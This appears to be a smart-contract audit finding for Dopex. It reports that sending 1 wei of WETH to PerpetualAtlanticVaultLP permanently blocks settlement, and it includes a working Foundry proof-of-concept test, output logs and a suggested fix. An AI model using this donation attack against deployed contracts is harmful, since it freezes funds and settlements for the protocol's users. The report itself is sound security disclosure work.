Dopex - sl1's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L199-L205 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L315-L369

Vulnerability details

Impact

The substractLoss() function of PerpetualAtlanticVaultLP is called in the settlement proccess of PerpetualAtlanticVault and can revert and cause DoS if the malicious user sends 1 wei of collateral to the PerpetualAtlanticVaultLP. When calling settle() in PerpetualAtlanticVault few actions are made:

1. the collateral is transfered from PerpetualAtlanticVaultLP:

 collateralToken.safeTransferFrom(
      addresses.perpetualAtlanticVaultLP,
      addresses.rdpxV2Core,
      ethAmount
    );

2. The substractLoss() is invoked with ethAmount:

IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss(
      ethAmount
    );

The root cause of the issues is that substractLoss() uses strict equality in the require statement.

require(collateral.balanceOf(address(this)) == _totalCollateral - loss,"Not enough collateral was sent out");

So the assumtion is that collateral.balanceOf(address(this)) - ethAmount == _totalCollateral - ethAmount. But if prior to the settlement a malicious user transfers 1 wei of WETH to the PerpetualAtlanticVaultLP, this check will always fail since collateral.balanceOf(address(this)) - ethAmount > _totalCollateral - ethAmount by 1 wei.

After that the settlement will be DoS'ed indefinetely since there is no way to sync the collateral.balanceOf(address(this)) to be equal to _totalCollateral

Only functions that can change _totalCollateral variable are:

1. deposit()
2. addProceeds()
3. substractLoss()
4. redeem() becuase of the call to beforeWithdraw()

substractLoss will always revert due to the require check. And both deposit() and addProceeds() won't solve the issue since when calling them they not only update _totalCollateral by X amount but also update the collateral.balanceOf(address(this)) by the same X amount, so collateral.balanceOf(address(this)) is still greater than _totalCollateral by 1 wei. redeem() also won't help since it also updates both balance of the contract and _totalCollateral by the same X amount.

Proof of Concept

I tweaked an existing testSettle function in /tests/rdpxV2-core/Unit.t.sol. I added some console outputs of the state: balance of the contract and _totalCollateral to show how both of these two variable change. Please consider adding my function to the file and running it with: forge test --match-test testSettleRevert -vv

function testSettleRevert() public {
        // Mint weth to a malicious user
        address maliciousUser = address(1);
        weth.mint(maliciousUser, 1000 * 1e18);

        // make bond
        rdpxV2Core.bond(5 * 1e18, 0, address(this));
        rdpxV2Core.bond(1 * 1e18, 0, address(this));

        vault.addToContractWhitelist(address(rdpxV2Core));
        uint256[] memory _ids = new uint256[](1);

        _ids[0] = 0;
        rdpxPriceOracle.updateRdpxPrice(1e7);
        // the vault balance before attack
        console.log(
            "VaultLp Balance Before attack: ",
            weth.balanceOf(address(vaultLp))
        );
        console.log(
            "VaultLp _totalCollateral before Attack",
            vaultLp.totalCollateral()
        );

        // send 1 wei to PerpetualAtlanticVaultLp
        vm.prank(maliciousUser);
        weth.transfer(address(vaultLp), 1);
        // balance after malicious user transfered 1 wei
        console.log(
            "VaultLp Balance After Attack: ",
            weth.balanceOf(address(vaultLp))
        );
        console.log(
            "VaultLp _totalCollateral after Attack",
            vaultLp.totalCollateral()
        );
        // the settlement reverts due to the check in PerpetualAtlanticVaultLP
        vm.expectRevert("Not enough collateral was sent out");
        rdpxV2Core.settle(_ids);

        // Skip 8 days to call PerpetualAtlanticVault.updateFundingPaymentPointer() to invoke addProceeds()
        skip(691200);
        vault.updateFundingPaymentPointer();
        // The balance is now updated as well as collateral becuase of the addProceeds() function
        console.log(
            "VaultLp Balance After addProceeds() is called: ",
            weth.balanceOf(address(vaultLp))
        );
        console.log(
            "VaultLp _totalCollateral after addProceeds() is called",
            vaultLp.totalCollateral()
        );
        vm.expectRevert("Not enough collateral was sent out");
        // But the settle is still reverting
        rdpxV2Core.settle(_ids);
 
        // trying to use deposit to fix the issue
        vaultLp.deposit(1e18, address(msg.sender));
        console.log(
            "VaultLp Balance After deposit() is called: ",
            weth.balanceOf(address(vaultLp))
        );
        console.log(
            "VaultLp _totalCollateral after deposit() is called",
            vaultLp.totalCollateral()
        );

        vm.expectRevert("Not enough collateral was sent out");
        // But the settle is still reverting
        rdpxV2Core.settle(_ids);
    }

The output of the state is as follows:

VaultLp Balance Before attack:  100000000000000000000
VaultLp _totalCollateral Before Attack 100000000000000000000

VaultLp Balance After Attack:  100000000000000000001
VaultLp _totalCollateral After Attack 100000000000000000000

VaultLp Balance After addProceeds() is called:  100367540499850000000
VaultLp _totalCollateral after addProceeds() is called 100367540499849999999

VaultLp Balance After deposit() is called:  101367540499850000000
VaultLp _totalCollateral after deposit() is called 101367540499849999999

As you can see _totalCollateral is always 1 wei lesser than contract balance.

Tools Used

Manual Review

Recommended Mitigation Steps

I would suggest removing this require check at all. require(collateral.balanceOf(address(this)) == _totalCollateral - loss,"Not enough collateral was sent out"); Since substractLoss() is only called by PerpetualAtlanticVault in settle() and passed the same argument (ethAmount) that is used in this call: collateralToken.safeTransferFrom(addresses.perpetualAtlanticVaultLP,addresses.rdpxV2Core,ethAmount);, it's impossible to have a mismatch of contract balance and _totalCollateral when substracting ethAmount that was transfered from the contract.

Assessed type

DoS